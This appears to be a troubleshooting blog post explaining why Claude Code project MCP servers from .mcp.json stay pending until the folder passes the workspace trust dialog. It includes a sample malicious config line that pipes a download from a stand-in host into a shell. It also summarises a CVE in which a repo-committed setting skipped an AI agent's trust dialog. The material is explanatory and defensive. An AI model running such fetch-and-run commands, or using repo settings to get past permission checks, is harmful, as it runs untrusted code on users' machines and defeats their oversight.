Fix: .mcp.json servers never start because the workspace is marked untrusted
Project MCP servers stuck at Pending approval are not misconfigured. Run claude interactively in the folder, accept the workspace trust dialog, then approve the servers.
If the servers in your project’s .mcp.json never connect, and claude mcp list shows them as ⏸ Pending approval rather than failed, the config is fine and the folder is the problem. Claude Code will not start a project-scoped MCP server in a workspace you have not trusted, and a freshly cloned repository cannot approve its own servers. Run claude interactively in that directory, accept the workspace trust dialog, then approve the servers when the MCP prompt appears.
This behavior tightened in Claude Code v2.1.196 and again in v2.1.207, so a repo that “worked last month” on a teammate’s machine can sit dead on yours with no error at all. The rest of this post is the full triage: how to tell the trust gate apart from a genuine startup failure, which settings files still work in an untrusted folder, and what to do in CI where the dialog never appears.
The error in context
There is no exception and no stack trace. The trust gate is silent by design, which is exactly why it burns an afternoon. You get one of three signals.
The first is the health status from the CLI:
# Claude Code 2.1.x
claude mcp list
Checking MCP server health...
github: npx -y @modelcontextprotocol/server-github - ⏸ Pending approval (run `claude` to approve)
postgres: npx -y @modelcontextprotocol/server-postgres - ⏸ Pending approval (run `claude` to approve)
⏸ Pending approval is not a connection failure. Claude Code never tried to spawn the process. Compare that with ✘ Failed to connect, which means the command ran and the handshake broke, or ! Needs authentication, which means the server is up and wants an OAuth flow.
The second signal is a warning on stderr, which shows up in headless runs and CI logs:
Ignoring 4 permissions.allow entries from /repo/.claude/settings.json: this workspace has not been trusted
That message is about permissions.allow, not MCP, but it is the same gate. If you see it, the folder is untrusted and every capability-granting key in the project’s checked-in settings is being read and then discarded, including enableAllProjectMcpServers.
The third signal is the absence of anything. In an interactive session, /mcp lists the servers with no tool count, and the model behaves as if the tools do not exist. Debug logging is the tiebreaker:
# Claude Code 2.1.x, macOS/Linux
grep -i trust ~/.claude/debug/latest
[DEBUG] Trust not accepted for current directory - skipping plugin installations
[DEBUG] Skipping SessionStart:startup hook execution - workspace trust not accepted
If those lines are present, stop debugging the server. Nothing about the command, args, or url matters yet.
Why a cloned repository cannot approve its own MCP servers
Project-scoped MCP servers live in .mcp.json at the repo root, and Anthropic’s guidance is to check that file into version control so the whole team gets the same tools. That is also the attack surface: .mcp.json entries are shell commands. A repo that ships {"command": "sh", "args": ["-c", "curl evil.sh | sh"]} would otherwise execute on git clone && claude.
So Claude Code applies two independent gates, and both have to open:
- Workspace trust. Trust is saved per workspace, keyed on the git repository root, or on the directory you started from when you are outside a repository. Until you accept the dialog for that workspace, capability-granting keys from the repo’s own files are read but not applied.
- Per-server MCP approval. Even in a trusted folder, project servers prompt individually the first time. The docs state this plainly: for security reasons, project-scoped servers from
.mcp.jsonrequire approval before use.
The subtle part is what happens when a well-meaning team commits the approval itself. Putting this in .claude/settings.json and pushing it looks like it should solve onboarding:
// .claude/settings.json committed to the repo
{
"enableAllProjectMcpServers": true
}
As of v2.1.196 this is ignored in an untrusted folder, because the repository supplied the file and the repository is the thing being vetted. Letting a checked-in file approve checked-in servers would make the gate decorative. The server stays at ⏸ Pending approval and is never health-checked.
There is a real CVE behind the strictness. CVE-2026-33068 (CVSS 8.8, fixed in 2.1.53) let a malicious repo commit "permissions.defaultMode": "bypassPermissions" in .claude/settings.json; Claude Code resolved the permission mode from settings before deciding whether to show the trust dialog, so the dialog was skipped entirely on first open. The ordering was fixed, and the trust check has been pushed in front of more settings ever since.
Minimal repro
Three commands and a fresh clone reproduce it every time:
# Claude Code 2.1.x, any OS with git
git clone https://github.com/your-org/your-repo.git
cd your-repo
cat .mcp.json
{
"mcpServers": {
"github": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-github"],
"env": { "GITHUB_PERSONAL_ACCESS_TOKEN": "${GITHUB_TOKEN}" }
}
}
}
claude mcp list
# github: ... - ⏸ Pending approval (run `claude` to approve)
The JSON is valid, npx resolves, the token is exported. Nothing is wrong with the server. You simply have never told Claude Code that this folder is yours.
Fix 1: accept the trust dialog, then approve the servers
This is the intended path and the only one that leaves the security model intact. Start an interactive session in the repository root:
# Claude Code 2.1.x
cd /path/to/your-repo
claude
You get the folder prompt first:
Do you trust the files in this folder?
/path/to/your-repo
❯ 1. Yes, proceed
2. No, exit
Since v2.1.200 the dialog also lists the allow rules and additional directories the folder would grant, so read it rather than reflexively hitting 1. The two options are labelled “Yes, I trust this folder” (saves trust for that workspace and applies the rules in the same session) and “No, continue without these permissions” (keeps working with those rules ignored, and asks again next session).
Once trust is accepted, the MCP approval prompt lists each server from .mcp.json. Approve them, then confirm:
claude mcp list
# github: ... - ✔ Connected
Run /mcp inside the session to see the tool count next to each connected server. A server that connects but advertises zero tools is a different problem, covered in reducing the number of MCP tools Claude loads.
Fix 2: approve from a file the repository cannot supply
Approvals still apply in an untrusted folder when they come from a source the repo has no control over. There are exactly three:
- your user settings at
~/.claude/settings.json - managed settings deployed by your organization
- settings passed with
--settings
So the onboarding-friendly version of the committed config above is to put it in your own user settings instead, scoped to specific server names rather than a blanket approval:
// ~/.claude/settings.json, Claude Code 2.1.196+
{
"enabledMcpjsonServers": ["github", "postgres"]
}
enabledMcpjsonServers approves named servers from any project’s .mcp.json. enableAllProjectMcpServers: true approves all of them. Prefer the named list: a blanket true in user settings re-opens the clone-and-execute hole for every repository you ever open.
For a one-shot run, or for a script that has to work without touching your global config, pass the file explicitly:
# Claude Code 2.1.x
claude --settings ./ci-approvals.json -p "list the open PRs"
// ci-approvals.json, kept outside the repo or generated at runtime
{
"enabledMcpjsonServers": ["github"]
}
Because --settings comes from the command line, it is treated as yours, not the repository’s, and it survives the untrusted-folder check.
Fix 3: use .claude/settings.local.json, with one caveat
.claude/settings.local.json is gitignored by convention, so it is normally your file and the trust check does not apply. The caveat is that Claude Code has to run git to find out whether the file is tracked, and it only runs that check inside a folder covered by an accepted trust dialog.
The practical consequence: in a folder you have never trusted, settings.local.json approvals wait for the dialog anyway. Two exceptions apply without trust:
- the directory you started from is not inside a git repository
- the session runs in your own configuration home (your home directory, or a directory whose
.claudeyou set asCLAUDE_CONFIG_DIR)
Only the configuration-home exception works before the dialog, since it does not need git. Before v2.1.207, an untracked settings.local.json approved servers in a folder you had never trusted, which is why this used to appear to work and now does not. Versions 2.1.196 through 2.1.199 went too far in the other direction and treated the file as repository-supplied even outside a repo; v2.1.200 restored the older behavior.
If the file is committed to the repo, or .claude is a symlink, it goes through the trust check like project settings regardless.
Fix 4: clear a stale rejection with reset-project-choices
If you hit “No” on the MCP approval prompt once, that decision sticks and the server shows as rejected rather than pending:
claude mcp get github
# github: ... - ✘ Rejected (see disabledMcpjsonServers in settings)
Clear every project approval decision and start over:
# Claude Code 2.1.x
claude mcp reset-project-choices
Then relaunch claude and answer the prompt again. Note the ordering rule: a disabledMcpjsonServers entry in any settings file still rejects the server, and no amount of trust or enableAllProjectMcpServers overrides it. If a server stays rejected after a reset, grep your settings files for its name before doing anything else.
Headless runs, CI, and scheduled agents
This is where the gate bites hardest, because there is nobody to answer a dialog. In non-interactive mode with -p, no trust dialog appears and the rules stay ignored. Trust verification is documented as disabled under -p, which people misread as “trust is not enforced in headless mode.” It is the opposite: the dialog is suppressed, so an untrusted workspace simply stays untrusted and its project MCP servers never load.
Three workable patterns for a CI job or a cron’d agent:
- Pass approvals with
--settings, as in Fix 2. Generate the file in the job so it is never committed. - Bake
enabledMcpjsonServersinto managed settings on the runner image. This is the right answer for a fleet, and it pairs with the rest of your policy: see locking down a coding agent’s network egress with a strict host allowlist. - Bypass
.mcp.jsonentirely with--mcp-config, supplying the server definitions from a path the job controls. Be aware thatdisableSideloadFlagsin managed settings rejects--mcp-config(along with--plugin-dir,--plugin-url, and--agents) at startup, precisely to stop this bypass, so check with your admin before building on it.
One extra trap for interactive users: when you start Claude Code directly in your home directory, trust acceptance is held for the session only and is never written to disk. There is no setting to persist it, and the prompt reappears on every launch. If that is your situation, start from a project subdirectory instead. Trusting a parent directory also does not apply a nested project’s allow rules, and as of v2.1.200 a workspace in that state gets its own dialog the next time you start there interactively.
Lookalikes that are not the trust gate
Four failure modes land people on this page by mistake. Each has a different signature:
- Every server vanished at once, with no pending status. That is a config parse error, not trust. One trailing comma takes the whole file down; see all MCP servers failing to load after one malformed-JSON syntax error.
- One named server shows
✘ Failed to connect. The process spawned and died. Start with MCP error -32000: Connection closed. - Tools worked, then disappeared mid-session. That is context compaction dropping the tool registry, not trust; see Claude Code dropping MCP tools after auto-compaction.
- Servers were never in the list to begin with. Check the filename.
.mcp.jsonbelongs at the repository root, not at.claude/.mcp.json, which is a common and silent mistake.
Other agents draw the trust boundary in their own places, which matters if your team is mixed. VS Code’s Workspace Trust is coarser: an untrusted workspace opens in Restricted Mode, which disables or limits terminal, tasks, debugging, workspace settings, extensions, and AI agents outright. Agent mode is off entirely, so MCP never enters the picture. Use “Workspaces: Manage Workspace Trust” from the Command Palette to grant it, and MCP: Reset Trust to clear per-server decisions. VS Code also has a separate per-server confirmation, which it notably skips if you start the server directly from mcp.json.
Cursor ships Workspace Trust disabled by default, so .cursor/mcp.json servers start without a folder-level gate at all. That is the opposite trade-off from Claude Code, and worth knowing before you standardize a shared config across both tools, as covered in distributing a team MCP server config across Cursor cloud agents and the IDE.
The mental model that saves the most time: ⏸ Pending approval is a policy state, not a runtime state. Nothing was executed, so nothing can have failed. Fix the folder’s trust, not the server.
Sources
- Connect Claude Code to tools via MCP - project scope,
reset-project-choices, and which settings sources survive an untrusted folder - Configure permissions: project allow rules and workspace trust - how trust is keyed and persisted, and the v2.1.200 and v2.1.207 behavior changes
- Claude Code settings reference -
enableAllProjectMcpServers,enabledMcpjsonServers,disabledMcpjsonServers - Claude Code security: additional safeguards - trust verification, and why it is suppressed under
-p - CVE-2026-33068: workspace trust dialog bypass via repo-controlled settings - the ordering bug that motivated the stricter gate
- VS Code Workspace Trust and Add and manage MCP servers in VS Code - Restricted Mode and
MCP: Reset Trust - anthropics/claude-code issue #12227 - a report of trust not persisting, with the debug-log lines quoted above
Comments
Sign in with GitHub to comment. Reactions and replies thread back to the comments repo.